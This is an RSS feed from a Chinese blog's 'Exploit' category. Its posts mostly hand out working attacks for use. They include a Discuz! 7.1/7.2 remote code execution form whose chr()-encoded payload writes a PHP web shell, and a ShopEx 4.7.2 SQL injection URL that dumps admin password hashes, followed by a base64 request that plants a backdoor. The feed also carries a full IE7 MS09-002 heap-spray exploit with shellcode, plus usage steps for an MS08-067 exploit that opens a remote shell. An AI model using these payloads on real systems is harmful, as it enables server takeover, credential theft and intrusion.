<?xml version="1.0" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>MK2-风 之谷 - Exploit</title><link>http://www.mk2leo.com/</link><description>大家来学习编程吧 - </description><generator>RainbowSoft Studio Z-Blog 1.8 Arwen Build 90619</generator><language>zh-CN</language><copyright>MK2-风版权所有.</copyright><pubDate>Tue, 07 Sep 2010 11:41:01 +0800</pubDate><item><title>Discuz! 7.1 &amp;amp; 7.2 远程代码执行漏洞</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/179.html</link><pubDate>Thu, 21 Jan 2010 20:32:32 +0800</pubDate><guid>http://www.mk2leo.com/post/179.html</guid><description><![CDATA[<p>&nbsp;SSV ID:<a target="_blank" title="Discuz! 7.1 &amp; 7.2 远程代码执行漏洞" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " href="http://www.sebug.net/vulndb/15198/">15198</a></p><div class="post-vuln" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 0px; padding-bottom: 3px; padding-left: 0px; font-weight: 700; ">SEBUG-Appdir:<a title="Discuz!" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " href="http://www.sebug.net/appdir/Discuz!/">Discuz!</a></div><div class="post-vuln" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 0px; padding-bottom: 3px; padding-left: 0px; font-weight: 700; ">發佈時間:2010-01-06</div><div class="post-hr" style="margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-weight: 700; border-left-width: 5px; border-left-style: solid; border-left-color: rgb(103, 172, 229); ">影響版本:</div><div class="post-content" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 5px; padding-right: 0px; padding-bottom: 5px; padding-left: 12px; "><pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: pre-wrap; word-wrap: break-word; ">Discuz! 7.1 &amp; 7.2</pre></div><div class="post-hr" style="margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-weight: 700; border-left-width: 5px; border-left-style: solid; border-left-color: rgb(103, 172, 229); ">漏洞描述:</div><div class="post-content" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 5px; padding-right: 0px; padding-bottom: 5px; padding-left: 12px; "><pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: pre-wrap; word-wrap: break-word; ">产生漏洞的$scriptlang数组在安装插件后已经初始化Discuz！新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化，可以任意提交，从而可以执行任意PHP命令。下面来分析下这个远程代码执行漏洞，这个问题真的很严重，可以直接写shell的：一、漏洞来自showmessage函数：function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {     extract($GLOBALS, EXTR_SKIP);//危险的用法，未初始化的变量可以直接带进函数，直接导致了问题产生，from www.oldjun.com     global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;     define('CACHE_FORBIDDEN', TRUE);     $hookscriptmessage = $show_message = $message;$messagehandle = 0;     $msgforward = unserialize($_DCACHE['settings']['msgforward']);     $refreshtime = intval($msgforward['refreshtime']);     $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);     $msgforward['refreshtime'] = $refreshtime * 1000;     $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) &amp;&amp; $transsidstatus ? transsid($url_forward) : $url_forward);     $seccodecheck = $seccodestatus &amp; 2;     if($_DCACHE['settings']['funcsiteid'] &amp;&amp; $_DCACHE['settings']['funckey'] &amp;&amp; $funcstatinfo &amp;&amp; !IS_ROBOT) {         $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';         if($fp = @fopen($statlogfile, 'a')) {             @flock($fp, 2);             if(is_array($funcstatinfo)) {                 $funcstatinfo = array_unique($funcstatinfo);                 foreach($funcstatinfo as $funcinfo) {                     fwrite($fp, funcstat_query($funcinfo, $message).&quot;\n&quot;);                 }             } else {                 fwrite($fp, funcstat_query($funcstatinfo, $message).&quot;\n&quot;);             }             fclose($fp);             $funcstatinfo = $GLOBALS['funcstatinfo'] = '';         }     }     if(!defined('STAT_DISABLED') &amp;&amp; STAT_ID &gt; 0 &amp;&amp; !IS_ROBOT) {         write_statlog($message);     }     if($url_forward &amp;&amp; (!empty($quickforward) || empty($inajax) &amp;&amp; $msgforward['quick'] &amp;&amp; $msgforward['messages'] &amp;&amp; @in_array($message, $msgforward['messages']))) {         updatesession();         dheader(&quot;location: &quot;.str_replace('&amp;amp;', '&amp;', $url_forward));     }     if(!empty($infloat)) {         if($extra) {             $messagehandle = $extra;         }         $extra = '';     }     if(in_array($extra, array('HALTED', 'NOPERM'))) {         $discuz_action = 254;     } else {         $discuz_action = 255;     }     include language('messages');     $vars = explode(':', $message);//只要含:就可以了     if(count($vars) == 2 &amp;&amp; isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可，用:分割         eval(&quot;\$show_message = \&quot;&quot;.str_replace('&quot;', '\&quot;', $scriptlang[$vars[0]][$vars[1]]).&quot;\&quot;;&quot;);//$scriptlang未初始化，可以自定义，from www.oldjun.com     } elseif(isset($language[$message])) {         $pre = $inajax ? 'ajax_' : '';         eval(&quot;\$show_message = \&quot;&quot;.(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message]).&quot;\&quot;;&quot;);         unset($pre);     }     ......} 二、DZ的全局机制导致了未初始化的参数可以任意提交：foreach(array('_COOKIE', '_POST', '_GET') as $_request) {     foreach($$_request as $_key =&gt; $_value) {         $_key{0} != '_' &amp;&amp; $$_key = daddslashes($_value);     }} 三、misc.php正好有个可以自定义message的点，其实也是未初始化：elseif($action == 'imme_binding' &amp;&amp; $discuz_uid) {     if(isemail($id)) {         $msn = $db-&gt;result_first(&quot;SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'&quot;);         $msn = explode(&quot;\t&quot;, $msn);         $id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));         $msn = &quot;$msn[0]\t$id&quot;;         $db-&gt;query(&quot;UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'&quot;);         showmessage('msn_binding_succeed', 'memcp.php');     } else {         if($result == 'Declined') {             dheader(&quot;Location: memcp.php&quot;);         } else {             showmessage($response['result']);//$response没有初始化，可以自定义，from www.oldjun.com         }     }    } </pre></div><div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "><span class="post-vuln" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 0px; padding-bottom: 3px; padding-left: 0px; font-weight: 700; ">&lt;*參考</span><blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 12px; ">T00ls.net</blockquote><span class="post-vuln" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 0px; padding-bottom: 3px; padding-left: 0px; font-weight: 700; ">*&gt;</span></div><div class="post-hr" style="margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-weight: 700; border-left-width: 5px; border-left-style: solid; border-left-color: rgb(103, 172, 229); ">測試方法:</div><div class="exp-content" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 10px; "><span class="bugexp_url" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: rgb(206, 7, 0); ">[www.sebug.net]<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />本站提供程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!</span><pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: pre-wrap; word-wrap: break-word; ">showmessage函数里$vars = explode(':', $message);然后message可以自己控制，于是就很容易了，参数是两个自定义的数组。下面是HTML测试代码：&lt;form method=&quot;post&quot; action=&quot;http://bbs.XXXX.com/misc.php&quot; enctype=&quot;multipart/form-data&quot;&gt;帖子ID，指定一个存在的帖子即可：&lt;input type=&quot;text&quot; name=&quot;tid&quot; value=&quot;1&quot; /&gt;&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;imme_binding&quot; /&gt;&lt;input type=&quot;hidden&quot; name=&quot;response[result]&quot; value=&quot;1:2&quot; /&gt;&lt;input type=&quot;hidden&quot; name=&quot;scriptlang[1][2]&quot; value=&quot;${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}&quot; /&gt;&lt;input type=&quot;submit&quot; name=&quot;topicsubmit&quot; value=&quot;提交&quot; class=&quot;submit&quot; /&gt;&lt;/form&gt;forumdata/cache/usergroup_01.php cmd 生成的一句话</pre></div><div class="post-hr" style="margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-weight: 700; border-left-width: 5px; border-left-style: solid; border-left-color: rgb(103, 172, 229); ">SEBUG安全建議:</div><div class="post-content" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 5px; padding-right: 0px; padding-bottom: 5px; padding-left: 12px; "><pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: pre-wrap; word-wrap: break-word; ">更新内容:修复版本存在的重要安全问题修复版本中存在的其他使用 bug安全级别：     高涉及版本：Discuz! 7.1 , Discuz! 7.2修补方法:1. 根据您的版本下载补丁包7.1 用户 http://download2.comsenz.com/Discuz/patch/7.1/D710_UPGRADE_TO_20100110.zip7.2 用户 http://download2.comsenz.com/Discuz/patch/7.2/D720_UPGRADE_TO_20100110.zip2. 解压缩文件3. 上传upload目录中的所有文件到您的论坛, 覆盖原有程序4. 修复完成注意事项:下目录中包含有相应版本的以往的补丁文件, 如果您尚未修复, 您应当按照补丁发布的时间, 依次覆盖修复http://download2.comsenz.com/Discuz/patch/7.1/http://download2.comsenz.com/Discuz/patch/7.2/ </pre></div><div class="post-sebug" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 5px; padding-right: 0px; padding-bottom: 5px; padding-left: 0px; ">// sebug.net [2010-01-07]</div>]]></description><category>Exploit</category><comments>http://www.mk2leo.com/post/179.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=179</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=179&amp;key=a2936e5f</trackback:ping></item><item><title>ShopEx 4.7.2 0day</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/104.html</link><pubDate>Wed, 04 Mar 2009 21:04:03 +0800</pubDate><guid>http://www.mk2leo.com/post/104.html</guid><description><![CDATA[<p>作者：无名</p><p>我是无名，这次写一个shopex4.7.2漏洞，</p><p>已经通知了官方，今天就发出来，</p><p>首先syssite/shopadmin/order_service.php后台这个文件没有验证用户身份，</p><p>重要的是$v_id参数没有过滤<br />&nbsp;</p><pre><code>syssite/shopadmin/order_service.php?m_id=1&amp;key=986078fbe1474d61464d08535f1002a8&amp;&amp;v_id=1+and+1=2+union+select+concat(username,0x20,userpass),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+sdb_mall_offer_operater%23</code></pre><p>直接获取管理员账号密码md5自己解，字段数不对用order by 猜，</p><p>有的站只能显示出来前14位，就用left(password,14) mid(password,15,4) right(password,14) 合起来就是完整的32位密码了</p><p>如果表名改了,mysql 5.0以上版本自己爆，相关内容不再叙述</p><p>登陆后台，接下来讲shell获取部分，(普通管理员一样利用)</p><p>分析根目录下htmlcache.php</p><p>分析代码的朋友注意了，</p><pre><code>$url = base64_decode( $_GET['url'] );$filename = base64_decode( $_GET['filename'] );$signcode = $_GET['signcode'];$verifycode = md5( $url.$filename.&quot;1e236443e5a30b09910e0d48c994b8e6&quot; );if ( $_cvar['seoCacheTime'] == &quot;0&quot; ){exit( );}</code></pre><p>变量 url&nbsp; filename 提交的时候用base64 加密，</p><p>下面几句</p><pre><code>if ( $_cvar['seoCacheTime'] == &quot;0&quot; ){exit( );}if ( substr( $filename, 0, 3 ) == &quot;../&quot; ){exit( );}if ( $verifycode != $signcode ){exit( );}</code></pre><p>$filename 不能有 ../</p><p>$verifycode 要等于$signcode</p><p>$_cvar['seoCacheTime'] 在syssite\home\shop\1\shop.cache.php有定义，默认是0</p><p>前面几个很容易就绕过去了，$_cvar['seoCacheTime'] 我在后台里一直没有找到在哪里设置，</p><p>分析代码发现，进入后台，直接在url后面输入syssite/shopadmin/admin_seo_act.php?act=savecachetime&amp;seocachetime=60</p><p>设置seocachetime为60</p><p>好了，条件满足，开始获取shell</p><p>base64分别加密<br />http://你的url/test.txt 为$url变量，()<br />123.php &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 为$filename变量<br />$signcode是url+filename+1e236443e5a30b09910e0d48c994b8e6 的32位md5值</p><p>其实url完全不用获取test.txt内容的，有时候会获取不成功，<br />url直接写成http://www.baidu.com/&lt;?php eval($_POST[cmd]);?&gt; base64加密就行了</p><p>加密结果</p><pre><code>url&nbsp;&nbsp; aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=filename MTIzLnBocA==signcode 186350a50934cb17b9bc47f5e067adbe</code></pre><p>最后提交</p><pre><code>htmlcache.php?url=aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=&amp;filename=MTIzLnBocA==&amp;signcode=186350a50934cb17b9bc47f5e067adbe</code></pre><p>直接在根目录生成123.php内容为一句话后门，密码cmd</p><p>喜欢分析代码的朋友如果有什么不明白的地方，或者有什么错误的地方，欢迎指正</p><p>联系团队<br />SD_无名&nbsp;&nbsp;&nbsp;&nbsp; QQ 57112848<br />SD_&prime;&amp;廢.&nbsp;&nbsp; QQ 5081558</p><p>这里只是技术讨论，任何利用本文章做破坏的，本人概不负责</p><p>最后附上一个半成品的利用工具</p><p>下载地址：<a href="http://huaidan.org/wp-content/uploads/2009/03/shopex472_exp.rar">shopex472_exp.rar</a></p>]]></description><category>Exploit</category><comments>http://www.mk2leo.com/post/104.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=104</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=104&amp;key=aef545e0</trackback:ping></item><item><title>IE 7 MS09002 漏洞代码</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/101.html</link><pubDate>Mon, 23 Feb 2009 01:15:04 +0800</pubDate><guid>http://www.mk2leo.com/post/101.html</guid><description><![CDATA[<p>这个是打开计算机的SHELLCODE ...基本上和各大GOOGLE找到的一样.会有卡和死IE的现像..大家帮一下不卡版吧...</p><p>&nbsp;</p><p>&lt;!--<br />MS09-002 Internet Exploere 7.0 Exploit<br />Modify by Friddy 2009.02.19 mail:qianyang@ssyeah.com<br />blog:www.friddy.cn<br />Tested under Windows XP sp2+IE 7.0<br />shellcode will popup the calc.exe<br />--&gt;</p><p>&lt;script language=&quot;JavaScript&quot;&gt;<br />var shellcode=unescape(&quot;%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063&quot;);</p><p>var array = new Array();</p><p>var ls = 0x100000-(shellcode.length*2+0x01020);</p><p>var b = unescape(&quot;%u0D0D%u0D0D&quot;);<br />while(b.length&lt;ls) { b+=b;}<br />var lh = b.substring(0,ls/2);<br />delete b;</p><p>for(i=0; i&lt;0xD0; i++) {<br />array[i] = lh + shellcode;<br />}</p><p>CollectGarbage();</p><p>var s1=unescape(&quot;%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA&quot;);<br />var a1 = new Array();<br />for(var x=0;x&lt;500;x++) a1.push(document.createElement(&quot;img&quot;));<br />o1=document.createElement(&quot;tbody&quot;);<br />o1.click;<br />var o2 = o1.cloneNode();<br />o1.clearAttributes();<br />o1=null; CollectGarbage();<br />for(var x=0;x&lt;a1.length;x++) a1[x].src=s1;<br />o2.click;<br />&lt;/script&gt;</p>]]></description><category>Exploit</category><comments>http://www.mk2leo.com/post/101.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=101</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=101&amp;key=7a03de5a</trackback:ping></item><item><title>MS08-067 EXP出来了(= ='' 测试成功)</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/14.html</link><pubDate>Mon, 27 Oct 2008 00:36:14 +0800</pubDate><guid>http://www.mk2leo.com/post/14.html</guid><description><![CDATA[<p>这个可说是另一个超强的洞了.基本上.只要知道对方的IP.就能取得SHELL了(说明是这样.太强了吧).而且配合近来MS的黑屏活动.应该都没什么人会更新MS补丁的了..</p><p>..</p><p>代码码就不贴出来了.反正贴了也没多少人会懂(包括我)..</p><p>附件中已有源码.和EXP程序..</p><p>&nbsp;</p><p>使用方法....</p><p>&nbsp;c:\ms08067.exe 192.168.10.10</p><p>连接成功后会显示 SEND PAYLOAD OVER! 恭喜.</p><p>用TELNET 连接4444端口吧..SHELL出来了....&nbsp;</p><p>看大家RP吧..可能会成功取得SHELL的.....</p><p><a target="_blank" href="http://www.mk2leo.com/upload/MS08-067.rar">MS08-067.rar</a></p>]]></description><category>Exploit</category><comments>http://www.mk2leo.com/post/14.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=14</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=14&amp;key=392f72ff</trackback:ping></item><item><title>MS Windows Server Service Code Execution PoC (MS08-067)</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/5.html</link><pubDate>Fri, 24 Oct 2008 03:31:34 +0800</pubDate><guid>http://www.mk2leo.com/post/5.html</guid><description><![CDATA[<p>In vstudio command prompt:</p><p>mk.bat</p><p>next:</p><p>attach debugger to services.exe (2k) or the relevant svchost (xp/2k3/...)</p><p>net use \\IPADDRESS\IPC$ /user:user creds<br />die \\IPADDRESS \pipe\srvsvc</p><p>In some cases, /user:&quot;&quot; &quot;&quot;, will suffice (i.e., anonymous connection)<br /><br />You should get EIP -&gt; 00 78 00 78, a stack overflow (like a guard page<br />violation), access violation, etc. However, in some cases, you will get<br />nothing.</p><p>This is because it depends on the state of the stack prior to the &quot;overflow&quot;.<br />You need a slash on the stack prior to the input buffer.</p><p>So play around a bit, you'll get it working reliably...</p><p>poc:<br />http://milw0rm.com/sploits/2008-ms08-067.zip</p><p># milw0rm.com [2008-10-23]</p>]]></description><category>Exploit</category><comments>http://www.mk2leo.com/post/5.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=5</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=5&amp;key=1e4a78fa</trackback:ping></item></channel></rss>
